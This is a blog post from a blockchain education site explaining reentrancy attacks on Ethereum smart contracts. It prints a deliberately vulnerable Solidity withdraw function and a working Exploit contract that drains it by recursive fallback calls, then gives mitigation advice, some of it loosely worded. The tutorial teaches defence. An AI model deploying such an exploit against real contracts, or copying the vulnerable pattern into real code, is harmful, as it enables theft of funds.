GET CALL FROM
BLOCKCHAIN SEMANTICS
COUNSELOR
×

Blockchain Semantics Insights


Business Case |  Deep Tech |  Announcements |  Blockchain Glossary | 
Blockchain Semantics Blog Reentrancy Attack On A Smart Contract

Reentrancy Attack On A Smart Contract

By Viswanath Kapavarapu | May 14, 2018, 3:02 p.m. GMT

Smart contracts are pretty difficult to get right the first time. This should be of no surprise to you as programming, in general, is quite difficult, let alone smart contracts. Because the smart contracts once deployed on to the network cannot be modified later, a bug introduced can drain all the Ether in the smart contract.

The Ethereum community has also suffered from these smart contract vulnerabilities, leading to millions of dollars being stolen. The infamous DAO attack was one such attempt to drain funds using a re-entrant bug in the smart contract. In this article, we shall try to understand how this happened and the ways to mitigate such risks while programming smart contracts.

Vulnerable Contract

Let’s first take a look at the vulnerable smart contract:

 

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
  }

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

function() public payable {}
}

The contract above keeps a record of balances of all the addresses that have deposited Ether through the donate() function. It also allows the depositors to withdraw the Ether at a later point of time.

 

The withdraw() function is how the accounts are allowed to withdraw Ether they deposited. The function actually checks for the global balance of the depositor, that is, balances[msg.sender] to ensure that the amount requested for withdrawal is available. Post the check, it transfers the amount to the depositor first and then updates the balance in the smart contract. This is where the break is most likey to happen and this anti-pattern is exactly what led to the DAO attack. In the next section, we shall look at how this pattern allows the attacker to withdraw more than their share and what can be done to mitigate such exploits in smart contracts.

The Hack

import'./Reentrance.sol';
contract Exploit {
    address target =0x2bd292597661ef87e2045c474de35851eb5a65f2;
    Reentrance c;
function Exploit() {
       c = Reentrance(target);      
    }
function attack() payable {
       c.donate.value(0.1 ether)(this);
       c.withdraw(0.1 ether);
    }
function() payable {
        c.withdraw(0.1 ether);
    }
}

The attacker starts out by depositing a minor amount of Ether and then pretends to withdraw the same from the target smart contract. The smart contract then tries to make a transfer using call.value(), even before deducting the balance of the account holder. In the transfer process, it inadvertently makes a call to the fallback function of the exploit contract. This fallback method then triggers a recursive chain of withdraw() function calls before the balance is deducted, thus draining out more funds than actually available.

Key Takeaways

The immediate takeaway for smart contract programmers is to not perform external function calls from within the smart contract. Instead, use alternative functions such as send or transfer, which set a limitation on the available amount and any attempt to call withdraw() function again, would run out of gas. Here, the transfers take place from within the contract.

 

If that’s not possible, make sure that external calls are the absolute last thing to do.

If you liked the post, give it a   0
Apply for Blockchain Jobs

Course 1

Introduction to
Blockchain and Bitcoin

Course 2

Developing Decentralized
Applications on Ethereum
Using Solidity

Course 3

Investing In Bitcoin
and Cryptocurrencies

Comments


Be the first to comment.